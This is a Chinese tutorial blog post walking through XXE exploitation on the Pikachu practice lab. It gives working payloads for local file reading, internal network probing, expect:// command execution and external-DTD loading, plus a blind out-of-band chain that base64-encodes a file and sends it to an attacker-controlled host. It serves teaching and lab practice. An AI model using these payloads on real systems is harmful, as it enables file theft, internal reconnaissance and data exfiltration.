WEB漏洞-XXEXML之利用检测绕过全解(39)

news2024/11/19 8:31:09

#概念

xml:xml被设计成传输和储存数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容。就类似于一种数据的格式,代码类的一些东西;

xxe:是xml上面的一个漏洞,也被称之为xxe实体注入,漏洞名字叫xml外部实体注入漏洞。

xml是一种数据传出的代码语言,xxe是上面的一个漏洞的全称写法。但是产生在xml上的安全问题。

#危害

文件读取,rce执行,内网攻击,dos攻击

大部分的危害都是可以加载恶意外部文件,然后造成的上面的危害

xml与html的主要差异;xml被设计为传输和储存数据,其焦点是数据的内容。html被设计用来显示数据,其焦点是数据的外观。html指在显示信息,而xml指在传输信息。

判定这个漏洞存在之后,我们该如何去利用,分为两种,第一种是输出形式,利用的结果显示,分为两种情况,一种情况是有回显,一种是回显;比如说要用文件读取,文件读取的内容数据能不能正常的给你回显看到,有回显玩法更多,。

无回显就借助外部引用,进行反向连接配合;

除了这个形式,还有一个过滤,我们绕过思路就是采用协议玩法,换一种协议去执行想要的结果,或者采用外部引用,把核心代码写到外部东西上面去,DTD上面去实现绕过,还有一种编码把一些关键词进行编码,达到关键字的绕过,根据具体情况选出不同的方案。

##演示案例,pikachu靶场

我们先不管是怎么产生的,我们发现这个靶场有这个漏洞,直接去利用他

文件读取

<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///d://w.txt"> ]> <x>&xxe;</x>

这个代码是通用的,读取d盘下面w.txt文件的内容,在靶场的框里面直接复制粘贴

 就读取到了

内网探针或攻击内网应用(触发漏洞地址)

  <?xml version="1.0" encoding="UTF-8"?>

    <!DOCTYPE foo [

    <!ELEMENT foo ANY >

    <!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt" >

    ]>

    <x>&rabbit;</x> 作者:shtome https://www.bilibili.com/read/cv13343258/ 出处:bilibili

看内网有没有开放端口,能不能访问

也可以借助该方法触发漏洞    

这个复制粘贴到靶场去

 这个就表示有这么个文件,而把index.txt换成一个随便写的文件

 返回的就是这种,这个就是不存在这个文件,

这个pyload就是可以帮你确定那个地址有没有那个地址存在,也属于进行了一个端口扫描,看那个端口开不开发。

可以帮忙判定一些内网的信息,

内网探测

RCE-远程代码执行 

​ php环境需要安装expect扩展,我这边用的phpstudy集成环境,没看到这个扩展,故未验证。

这个很难碰到对面有没有开这个扩展,有没有过滤,都会影响

  <?xml version = "1.0"?>

    <!DOCTYPE ANY [

    <!ENTITY xxe SYSTEM "expect://id" >

    ]>

    <x>&xxe;</x> 

引入外部实体dtd

把恶意代码写入dtd文件,再让网站访问dtd,执行其中的代码

需要允许外部实体引用才能实现

<?xml version = "1.0"?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://192.168.31.210:8080/evil2.dtd"> %file; ]> <x>&send;</x>

可以自定义攻击代码,还可以绕过部分防御软件

那个dtd可以理解为他是上面的xml的格式文件,他去访问dtd里面内容就会当作xml语言代码去执行,

所以在dtd里面可以写一些这么内容

    evil2.dtd:

    <!ENTITY send SYSTEM "file:///d:/w.txt"> 

就会用file去读取d盘的test文件,

这个很简单就是让他去访问那个dtd文件,然后执行文件里面的xml代码,

条件:看对方代码里面有没有禁止外部实体引用,这也是一种防御手段。

类似于文件包含,类似远程包含原理,这个就是可以远程引用,核心代码在1dtd上面,第一个就是自定义攻击代码,第二种为了绕过一些防御软件代码,绕过对面有waf和检测会跟着用户行为,发现读取就会拦截等等,把核心代码放在服务器远程去请求执行核心代码。

 然后直接复制粘贴那个代码

还是会显示出来内容

 结果就是读取到了文件内容。

然后把靶场的源码改为无回显模式

再粘贴那个读取语句就什么都不会返回了

无回显利用

​ 原理是自己本地搭建一个网站,xxe漏洞让目标网站带着读取到的数据访问我们的网站,然后我们再在本地日志查看数据即可。

<?xml version = "1.0"?>
<!DOCTYPE test [
        <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
        <!ENTITY % dtd SYSTEM "http://192.168.31.210:8088/test.dtd">
        %dtd;
        %send;
]>
 

-----如果代码不能用就是符合的问题,英文手打一编就好-------

在上面里面用的php协议进行一个base64编码读取的test.txt的内容;读取之后会复制给变量file。

之后去访问一个远程地址dtd,

远程dtd内容://test.dtd,这里的&#x25;是%的编码,因为dtd中不能有%
<!ENTITY % payload
    "<!ENTITY &#x25; send SYSTEM
'http://192.168.31.210:8088/?data=%file;'>"
>
%payload;

最后这个是去访问指定地址,会把变量file给data这个变量,然后这时候就可以写一个接受代码,或者去开启一下日志查看,都可以查看到读取的内容了,

日志查看

 这个文件内容的base64加密指,解码一下就好了,

不回显,就让对方去反向链接,

在ctf实战中会出现

ss

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/699698.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

STM32F407 基本定时器配置输出PWM方波

介绍STM32F407定时器PWM波形输出配置方式。 通过逻辑分析采集波形数据进行可视化显示对比。 【1】定时器PWM功能介绍 STM32F4 的定时器除了 TIM6 和 7。其他的定时器都可以用来产生 PWM 输出。其中高级定时器 TIM1 和 TIM8 可以同时产生多达 7 路的 PWM 输出。而通用定时器也…

Vmware 虚拟机win7不识别usb3.0/3.1解决方案

问题现象&#xff1a; VMware安装的Win7系统&#xff0c;虚拟机设置USB控制器已打开&#xff0c;可以识别USB2.0U盘&#xff0c;不识别USB3.0/3.1U盘( 本人使用的金士顿U3.1)。 尝试方案&#xff1a; 1&#xff1a;检查本机系统Vmware USB 服务是否开启&#xff0c;重启虚拟机…

基于Ant DesignPro Vue + SpringBoot 前后端分离 - 后端微服化 + 接口网关 + Nacos + Sentinel

基于Ant DesignPro Vue SpringBoot 前后端分离 - 后端微服化 接口网关 Nacos Sentinel 通过Ant DesignPro Vue SpringBoot 搭建的后台管理系统后&#xff0c;实现了前后端分离&#xff0c;并实现了登录认证&#xff0c;认证成功后返回该用户相应权限范围内可见的菜单。 后…

小白也能学会!人物百度百科怎么创建?5分钟教会你怎么创建人物百度百科

在当今互联网的时代&#xff0c;越来越多的小伙伴都有了打造个人IP意识&#xff0c;把个人形象展示出来&#xff0c;形成一张网络名片。人物百度百科就是是我们一个不错的选择&#xff0c;它具有体面和象征性。大家都知道在搜索引擎上随便搜索一个明星的名字&#xff0c;都可以…

【Servlet学习五】实现一个简单的数据库版本的留言墙!

目录 一、前期环境搭建 二、具体后端代码实现 &#x1f308;1、创建数据库 &#x1f308;2、创建message类&#xff1a;定义属性和相应的get和set方法 &#x1f308;3、创建JDBC工具类&#xff1a;DBUtil文件&#xff0c;定义一些数据库的基本操作 &#x1f308;4、创建m…

【doxygen】doxygen 支持宏判断

文章目录 配置 doxygen代码中判断宏 配置 doxygen 定义自己的宏 HAL_CONFIG_USB 代码中判断宏 if HAL_CONFIG_USB your contents endif需要注意的是 Doxygen不支持直接的 elif 指令。Doxygen只提供了 if 和 endif 指令来实现条件性文档生成。如果您需要多个条件进行判断&am…

VRRP协议是什么?详解它的工作原理

作者&#xff1a;Insist-- 个人主页&#xff1a;insist--个人主页 作者会持续更新网络知识和python基础知识&#xff0c;期待你的关注 前言 本文将讲解VRRP是什么&#xff0c;以及它的工作原理&#xff0c;优点以及基本概念。 目录 一、VRRP协议是什么&#xff1f; 二、VRR…

Kubernetes·陈述式声明式资源管理

陈述式资源管理方法&#xff1a; 1.kubernetes 集群管理集群资源的唯一入口是通过相应的方法调用 apiserver 的接口 2.kubectl 是官方的CLI命令行工具&#xff0c;用于与 apiserver 进行通信&#xff0c;将用户在命令行输入的命令&#xff0c;组织并转化为 apiserver 能识别的信…

《PCL+QT》各版本环境配置问题总结

PCL各版本QT配置问题 一、资源下载1、vs2015 -pcl1.8.1 - qt5.12 -vtk82、 vs2019-pcl 1.11.1-qt 5.12-vtk8.23、 vs2019-pcl1.12.1-qt 6.2.4-vtk9.14 、vs2022-pcl1.13.0-qt 6.2.4-vtk9.2 二、版本1、 vs2015 -pcl1.8.1 - qt5.12 -vtk82、 vs2019-pcl 1.11.1-qt 5.12-vtk8.23、…

【C/C++】解析 类成员函数和this指针

创作不易&#xff0c;本篇文章如果帮助到了你&#xff0c;还请点赞 关注支持一下♡>&#x16966;<)!! 主页专栏有更多知识&#xff0c;如有疑问欢迎大家指正讨论&#xff0c;共同进步&#xff01; &#x1f525;c系列专栏&#xff1a;C/C零基础到精通 &#x1f525; 给大…

RuntimeError: CUDA error: an illegal memory access was encountered

在跑一个Transformer的代码时&#xff0c;出现了这个错误。这个错误信息非常奇怪&#xff0c;通过Debug发现&#xff0c;模型的前向传播是正常的&#xff0c;损失也能计算出来&#xff0c;但是一开始反向传播就出问题了。经过尝试&#xff0c;发现是batch_size过大&#xff0c;…

SpringMvc中文件上传

文章目录 1.导入文件上传所需要的jar包 2. 配置文件解析器 3.写一个前端页面 4.写后台程序 1.导入文件上传所需要的jar包 <dependency><groupId>commons-fileupload</groupId><artifactId>commons-fileupload</artifactId><version>1.3.…

UTONMOS:元宇宙究竟是什么?

元宇宙其实是一个很好玩的事&#xff0c;就在前几年&#xff0c;很多人还认为当时元宇宙的概念市场上被叫做伪概念、纯营销概念&#xff0c;很多行业里的朋友们都说这是骗子才提的。 但是经过半年的发酵和发展&#xff0c;现在大家对“元宇宙”的认知就很不同了&#xff0c;因…

C++数据结构笔记(2)线性表顺序存储的底层实现

本章总结单链表的顺序存储方式及其C实现&#xff0c;重点的理论只需要熟背以下3条&#xff1a; 1.线性表是0个或者多个数据元素的有限序列&#xff0c;其中数据元素类型相同 2.线性表可以逐项访问和顺序存储 3.有顺序存储和链式存储两种存储方式。 接下来&#xff0c;通过动…

Android 逆向入门保姆级教程

作者&#xff1a;37手游移动客户端团队 前言 什么是 Android 逆向开发&#xff1f; Android 逆向开发是指对已发布的 Android 应用进行分析和破解&#xff0c;以了解应用程序的内部工作原理&#xff0c;获取应用程序的敏感信息&#xff0c;或者修改应用程序的行为。逆向开发可…

全网最牛,接口自动化测试mock框架模块实战,入门到高阶...

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 mock的介绍 py3已…

基于Docker-compose实现的Postgresql-11的主从复制

参考文章&#xff1a; http://t.csdn.cn/EnOVn http://t.csdn.cn/XTJqZ 记录一次主从复制的配置经历 服务器主从角色分配 ipdb 版本角色192.168.33.23411主192.168.33.22511从 docker-compose.yml文件 version: "3.3" services:postgres:image: postgresql-gis:11…

Windows11添加用户自定义短语

比如要输入手机号码&#xff0c;直接输入sj就会弹出预先设定好的手机号&#xff0c;也可以预先设置好邮箱&#xff0c;身份证等等&#xff0c;这样就不用输入了 这个咋设置的有时候确实会忘记&#xff0c;所以就记下来了 步骤 第一步 打开设置 时间和语言>语言和区域 第二…

WebRTC的技术原理和使用浅析

一、基本介绍 WebRTC即网页即时通信&#xff0c;是一个支持网页浏览器进行音视频对很多 技术方案。 二、技术特征 1.实时通讯: WebRTc是一项实时通讯技术&#xff0c;允许网络应用或者站点&#xff0c;在不借助中间媒介的情况下&#xff0c;建立浏览器之间点对点的连接&…

Java读取文件内容到字符串

例如当前在D:\\test目录下有一个名为demo.txt的文件&#xff0c;文件里面的内容如下图所示&#xff1a; 第一种方式&#xff1a; 使用BuffererReader 缓冲字符输入流 import lombok.extern.slf4j.Slf4j;import java.io.BufferedReader; import java.io.File; import java.io.…